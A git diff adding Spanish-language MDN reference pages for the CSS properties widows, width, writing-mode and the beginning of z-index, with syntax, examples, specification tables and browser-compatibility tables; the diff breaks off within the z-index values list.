+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Este es el primer paragrafo que contiene algun texto.&lt;/p&gt;
+  &lt;p&gt;Este es el segundo paragrafo que contiene algún texto mayor que el primero. Es usado para desmostrar como trabaja widows.&lt;/p&gt;
+  &lt;p&gt;Este es el tercer paragrafo. Es un poco mas extenso en texto que el primero.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">div {
+  background-color: #8cffa0;
+  columns: 3;
+  widows: 2;
+}
+
+p {
+  background-color: #8ca0ff;
+}
+
+p:first-child {
+  margin-top: 0;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example", 400, 160)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#widows-orphans', 'widows')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Extiende <code>widows</code> para que se apliqye a cualquier tipo de fragmento, incluyendo paginas, regiones o columnas. </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#filling-columns', 'widows')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Recomendaciones a considerar de <code>widows</code> en relacion con las columnas. </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#break-inside', 'widows')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición Inicial. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta pagina esta generada desde una estrutura de datos. Si usted puede contribuir con los datos, por favor verifique aqui <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envie una solicitud de extracción. </div>
+
+<p>{{Compat("css.properties.widows")}}</p>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>{{cssxref("orphans")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/Paged_Media">Medio paginados</a></li>
+</ul>
diff --git a/files/es/web/css/width/index.html b/files/es/web/css/width/index.html
new file mode 100644
index 0000000000..3e8317e17d
--- /dev/null
+++ b/files/es/web/css/width/index.html
@@ -0,0 +1,404 @@
+---
+title: width
+slug: Web/CSS/width
+tags:
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/width
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>width</code></strong> especifica la anchura del area de contenido de un elemento. El <a href="/es/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">área de contenido</a> está <em>dentro</em> del padding, borde, y margen del elemento.</p>
+
+<p>Las propiedades {{cssxref("min-width")}} y {{cssxref("max-width")}} sobreescriben el valor de {{cssxref("width")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores &lt;length&gt; */
+width: 300px;
+width: 25em;
+
+/* Valores &lt;percentage&gt; */
+width: 75%;
+
+/* Valores clave */
+width: 25em border-box;
+width: 75% content-box;
+width: max-content;
+width: min-content;
+width: available;
+width: fit-content;
+width: auto;
+
+/* Valores globales */
+width: inherit;
+width: initial;
+width: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Ver {{cssxref("&lt;length&gt;")}} para unidades disponibles.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Especificado con el tipo {{cssxref("&lt;percentage&gt;")}} como porcentaje de la anchura del bloque contenedor. Si la anchura del bloque contenedor depende de la anchura del elemento, la presentación resultante es indefinida.</dd>
+ <dt><code>border-box </code>{{experimental_inline}}</dt>
+ <dd>Si está presente, el valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} precedente es aplicado a los límites del borde del elemento.</dd>
+ <dt><code>content-box</code> {{experimental_inline}}</dt>
+ <dd>Si está presente, el valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} precedente será aplicado a los límites de contenido del elemento.</dd>
+ <dt><code>auto</code></dt>
+ <dd>El navegador calculará y seleccionará la anchura para el elemento especificado.</dd>
+ <dt>fill {{experimental_inline}}</dt>
+ <dd>Use el tamaño <code>fill-available</code> para elementos inline o block, según sea más apropiado para el modo de escritura.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>La anchura preferida intrínseca.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>La anchura mínima intrínseca.</dd>
+ <dt><code>available</code> {{experimental_inline}}</dt>
+ <dd>La anchura del bloque contenedor menos su margen horizontal, borde y padding.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>El mayor entre:
+ <ul>
+  <li>la anchura mínima intrínseca</li>
+  <li>la menor entre la anchura prefereida intrínseca y la anchura disponible</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Anchura_predeterminada">Anchura predeterminada</h3>
+
+<pre class="brush:css">p.goldie {
+  background: gold;
+}</pre>
+
+<pre class="brush:html">&lt;p class="goldie"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Default_width', '500px', '64px')}}</p>
+
+<h3 id="Píxeles_y_ems">Píxeles y ems</h3>
+
+<pre class="brush: css">.px_length {
+  width: 200px;
+  background-color: red;
+  color: white;
+  border: 1px solid black;
+}
+
+.em_length {
+  width: 20em;
+  background-color: white;
+  color: red;
+  border: 1px solid black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="px_length"&gt;Width measured in px&lt;/div&gt;
+&lt;div class="em_length"&gt;Width measured in em&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Pixels_and_ems', '500px', '64px')}}</p>
+
+<h3 id="Porcentaje">Porcentaje</h3>
+
+<pre class="brush: css">.percent {
+  width: 20%;
+  background-color: silver;
+  border: 1px solid red;
+}</pre>
+
+<pre class="brush: html">&lt;div class="percent"&gt;Width in percentage&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Percentage', '500px', '64px')}}</p>
+
+<h3 id="max-content">max-content</h3>
+
+<pre class="brush:css;">p.maxgreen {
+  background: lightgreen;
+  width: intrinsic;           /* Safari/WebKit uses a non-standard name */
+  width: -moz-max-content;    /* Firefox/Gecko */
+  width: -webkit-max-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="maxgreen"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('max-content', '500px', '64px')}}</p>
+
+<h3 id="min-content">min-content</h3>
+
+<pre class="brush:css">p.minblue {
+  background: lightblue;
+  width: -moz-min-content;    /* Firefox */
+  width: -webkit-min-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="minblue"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('min-content', '500px', '155px')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-width-and-height-properties', 'width')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Añade las palabras clave <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Incluye <code>width</code> como propiedad que puede ser animada.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Especifica a qué elementos es aplicable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Añade nuevas palabras clave de tamaño para <code>width</code> y <code>height</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td>Capacidad de ser animada{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>max-content</code>{{experimental_inline}}</td>
+   <td>{{CompatChrome(22.0)}} {{property_prefix("-webkit")}}<br>
+    {{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop("1.9")}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>15 {{property_prefix("-webkit")}}</td>
+   <td>2.0 (421) (<code>intrinsic</code> value)<br>
+    6.1 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>min-content</code>{{experimental_inline}}</td>
+   <td>
+    <p>{{CompatChrome(22.0)}} [4] {{property_prefix("-webkit")}}<br>
+     {{CompatChrome(46.0)}} [1]</p>
+   </td>
+   <td>{{CompatGeckoDesktop("1.9")}} {{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>15 {{property_prefix("-webkit")}}</td>
+   <td>2.0 (421) (<code>min-intrinsic</code> value)<br>
+    6.1 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>available</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}} {{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>fill-available</code>{{experimental_inline}}</td>
+   <td>{{CompatChrome(22.0)}} {{property_prefix("-webkit")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.1 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>fit-content</code>{{experimental_inline}}</td>
+   <td>{{CompatChrome(22.0)}} [4] {{property_prefix("-webkit")}}<br>
+    {{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop("1.9")}} {{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>15 {{property_prefix("-webkit")}}</td>
+   <td>6.1 {{property_prefix("-webkit")}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>border-box</code> y <code>content-box</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>fill</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Capacidad de ser animada{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>max-content</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>min-content</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>available</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>fill-available</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>fit-content</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>border-box</code> y <code>content-box</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>fill</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] WebKit implementa una variante a este valor con el nombre <code>fill-available</code> a partir de 2013.</p>
+
+<p>[2] Las versiones anteriores de WebKit implementaban una versión anterior de este valor con nombre <code>intrinsic</code>, pero implementan además <code>fit-content</code> desde la versión 6.1.</p>
+
+<p>[3] Sin prefijo.</p>
+
+<p>[4] Soporte a las antiguas palabras clave <code>intrinsic</code> y <code>min-intrinsic</code> de Webkit, pero removido en <a href="https://www.chromestatus.com/feature/5758434351775744">Chrome 48</a>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">box model</a>, {{cssxref("height")}}, {{cssxref("box-sizing")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}</li>
+</ul>
diff --git a/files/es/web/css/writing-mode/index.html b/files/es/web/css/writing-mode/index.html
new file mode 100644
index 0000000000..73c11b1b85
--- /dev/null
+++ b/files/es/web/css/writing-mode/index.html
@@ -0,0 +1,247 @@
+---
+title: writing-mode
+slug: Web/CSS/writing-mode
+tags:
+  - CSS
+  - Disposición
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/writing-mode
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <strong><code>writing-mode</code></strong> define si los renglones de texto se disponen horizontal o verticalmente y la dirección en que avanzan los bloques.</p>
+
+<p>La propiedad especifica la <em>dirección de flujo de bloques</em>, que es la dirección en que se apilan los contenedores a nivel de bloque y la dirección en que el contenido a nivel de línea fluye dentro de un contenedor de bloque. Por ende, la propiedad <code>writing-mode</code> también determina la ordenación del contenido a nivel de bloque.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores de la palabra clave */
+writing-mode: horizontal-tb;
+writing-mode: vertical-rl;
+writing-mode: vertical-lr;
+
+/* Valores globales */
+writing-mode: inherit;
+writing-mode: initial;
+writing-mode: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>horizontal-tb</code></dt>
+ <dd>El contenido fluye horizontalmente de izquierda a derecha y verticalmente de arriba hacia abajo. El próximo renglón horizontal se posiciona debajo del renglón anterior.</dd>
+ <dt><code>vertical-rl</code></dt>
+ <dd>El contenido fluye verticalmente de arriba hacia abajo y horizontalmente de derecha a izquierda. El próximo renglón vertical se posiciona a la izquierda del renglón anterior.</dd>
+ <dt><code>vertical-lr</code></dt>
+ <dd>El contenido fluye verticalmente de arriba hacia abajo y horizontalmente de izquierda a derecha. El próximo renglón vertical se posiciona a la derecha del renglón anterior.</dd>
+ <dt><code>sideways-rl</code>{{experimental_inline}}</dt>
+ <dd>El contenido fluye verticalmente de arriba hacia abajo y todos los glifos, incluidos aquellos de los sistemas de escritura verticales, se colocan de lado hacia la derecha.</dd>
+</dl>
+
+<dl>
+ <dt><code>sideways-lr</code>{{experimental_inline}}</dt>
+ <dd>El contenido fluye verticalmente de arriba hacia abajo y todos los glifos, incluidos aquellos de los sistemas de escritura verticales, se colocan de lado hacia la izquierda.</dd>
+ <dt><code>lr</code> {{deprecated_inline}}</dt>
+ <dd>Desaprobado, excepto en los documentos SVG1. En CSS utilice <code>horizontal-tb</code>.</dd>
+ <dt><code>lr-tb</code> {{deprecated_inline}}</dt>
+ <dd>Desaprobado, excepto en los documentos SVG1. En CSS utilice <code>horizontal-tb</code>.</dd>
+ <dt><code>rl</code> {{deprecated_inline}}</dt>
+ <dd>Desaprobado, excepto en los documentos SVG1. En CSS utilice <code>horizontal-tb</code>.</dd>
+ <dt><code>tb</code> {{deprecated_inline}}</dt>
+ <dd>Desaprobado, excepto en los documentos SVG1. En CSS utilice <code>vertical-rl</code>.</dd>
+ <dt><code>tb-rl</code> {{deprecated_inline}}</dt>
+ <dd>Desaprobado, excepto en los documentos SVG1. En CSS utilice <code>vertical-rl</code>.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<div class="hidden">
+<pre class="brush: html">&lt;table&gt;
+    &lt;tr&gt;
+        &lt;th&gt;value&lt;/th&gt;
+        &lt;th&gt;Sistema de escritura vertical&lt;/th&gt;
+        &lt;th&gt;Sistema de escritura horizontal&lt;/th&gt;
+        &lt;th&gt;Escritura mixta&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;horizontal-tb&lt;/td&gt;
+        &lt;td class="exampleText1"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="exampleText1"&gt;Texto de ejemplo&lt;/td&gt;
+        &lt;td class="exampleText1"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;vertical-lr&lt;/td&gt;
+        &lt;td class="exampleText2"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="exampleText2"&gt;Texto de ejemplo&lt;/td&gt;
+        &lt;td class="exampleText2"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;vertical-rl&lt;/td&gt;
+        &lt;td class="exampleText3"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="exampleText3"&gt;Texto de ejemplo&lt;/td&gt;
+        &lt;td class="exampleText3"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;sideways-lr&lt;/td&gt;
+        &lt;td class="exampleText4"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="exampleText4"&gt;Texto de ejemplo&lt;/td&gt;
+        &lt;td class="exampleText4"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;sideways-rl&lt;/td&gt;
+        &lt;td class="exampleText5"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="exampleText5"&gt;Texto de ejemplo&lt;/td&gt;
+        &lt;td class="exampleText5"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+</pre>
+
+<pre class="brush:css;">table { border-collapse:collapse; }
+td, th {border: 1px black solid; padding: 3px; }
+th {background-color: lightgray; }
+.exampleText1 { width:75px; writing-mode: horizontal-tb; -webkit-writing-mode: horizontal-tb; -ms-writing-mode: horizontal-tb; }
+.exampleText2 { height:75px; writing-mode: vertical-lr; -webkit-writing-mode: vertical-lr; -ms-writing-mode: vertical-lr; }
+.exampleText3 { height:75px; writing-mode: vertical-rl; -webkit-writing-mode: vertical-rl; -ms-writing-mode: vertical-rl; }
+.exampleText4 { height:75px; writing-mode: sideways-lr; -webkit-writing-mode: sideways-lr; -ms-writing-mode: sideways-lr; }
+.exampleText5 { height:75px; writing-mode: sideways-rl; -webkit-writing-mode: sideways-rl; -ms-writing-mode: sideways-rl; }</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example", 400, 430)}}</p>
+
+<h3 id="Resultado_efectivo">Resultado efectivo</h3>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12201/writing-mode-actual-result.png" style="height: 430px; width: 351px;"></p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Writing Modes", "#block-flow", "writing-mode")}}</td>
+   <td>{{Spec2("CSS3 Writing Modes")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Compatibilidad básica</td>
+   <td>8{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop(41)}}<sup>[1][3]</sup></td>
+   <td>9.0 {{property_prefix("-ms")}}<sup>[2]</sup></td>
+   <td>15{{property_prefix("-webkit")}}</td>
+   <td>5.1{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Valores de SVG 1.1 <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>tb</code>, <code>tb-rl</code></td>
+   <td>{{CompatChrome(48.0)}} (sin prefijos)</td>
+   <td>{{CompatGeckoDesktop(43)}}</td>
+   <td>9.0 {{property_prefix("-ms")}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sideways-rl,sideways-lr</code></td>
+   <td>{{CompatNo}} (a partir de 48.0)</td>
+   <td>{{CompatGeckoDesktop(43)}}</td>
+   <td>{{CompatNo}} (a partir de 25)</td>
+   <td>{{CompatNo}} (a partir de 35.0)</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Webview de Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox móvil (Gecko)</th>
+   <th>IE móvil</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Compatibilidad básica</td>
+   <td>3{{property_prefix("-webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>47{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile(41)}} <sup>[1][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5.1 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Valores de SVG 1.1 <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>tb</code>, <code>tb-rl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48.0)}} (sin prefijos)</td>
+   <td>{{CompatChrome(48.0)}} (sin prefijos)</td>
+   <td>{{CompatGeckoMobile(43)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sideways-rl,sideways-lr</code></td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Desde Gecko 36 hubo una implementación experimental disponible, regida por la preferencia <code>layout.css.vertical-text.enabled</code>, cuyo valor era <code>false</code> hasta Firefox 38. A partir de Firefox 39 y Firefox 40, la preferencia se activó (<code>true</code>) solo en las ediciones Nightly y DevTools. Observe que no todos los <em>widgets</em> de CSS (p. ej., tablas) la acatan, por el momento.</p>
+
+<p>[2] La implementación de Internet Explorer diverge de la especificación. Consulte el <a href="https://msdn.microsoft.com/en-us/library/ie/ms531187%28v=vs.85%29.aspx">artículo relacionado en el Centro de desarrollo de Internet Explorer</a>.</p>
+
+<p>[3] Solo a partir de Gecko 42 se admiten los sistemas de escritura bidireccionales y RTL.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Atributo de SVG <code><a href="/en-US/docs/Web/SVG/Attribute/writing-mode">writing-mode</a></code></li>
+ <li>{{Cssxref("direction")}}</li>
+ <li>{{Cssxref("unicode-bidi")}}</li>
+ <li>{{Cssxref("text-orientation")}}</li>
+ <li>{{Cssxref("text-combine-upright")}}</li>
+</ul>
diff --git a/files/es/web/css/z-index/index.html b/files/es/web/css/z-index/index.html
new file mode 100644
index 0000000000..575921944a
--- /dev/null
+++ b/files/es/web/css/z-index/index.html
@@ -0,0 +1,127 @@
+---
+title: z-index
+slug: Web/CSS/z-index
+translation_of: Web/CSS/z-index
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>z-index</code> indica el orden de un elemento <a href="/es/docs/Web/CSS/position">posicionado</a> y sus descendientes. Cuando varios elementos se superponen, los elementos con mayor valor z-index cubren aquellos con menor valor.</p>
+
+<p>Para una caja posicionada (es decir, una con cualquier <code>position</code> aparte de <code>static</code>), la propiedad <code>z-index</code> especifica:</p>
+
+<ol>
+ <li>El nivel de apilamiento en el actual contexto de apilado.</li>
+ <li>Si la caja establece un contexto de apilamiento local.</li>
+</ol>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">z-index:  auto | &lt;entero&gt; | inherit
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>auto</dt>
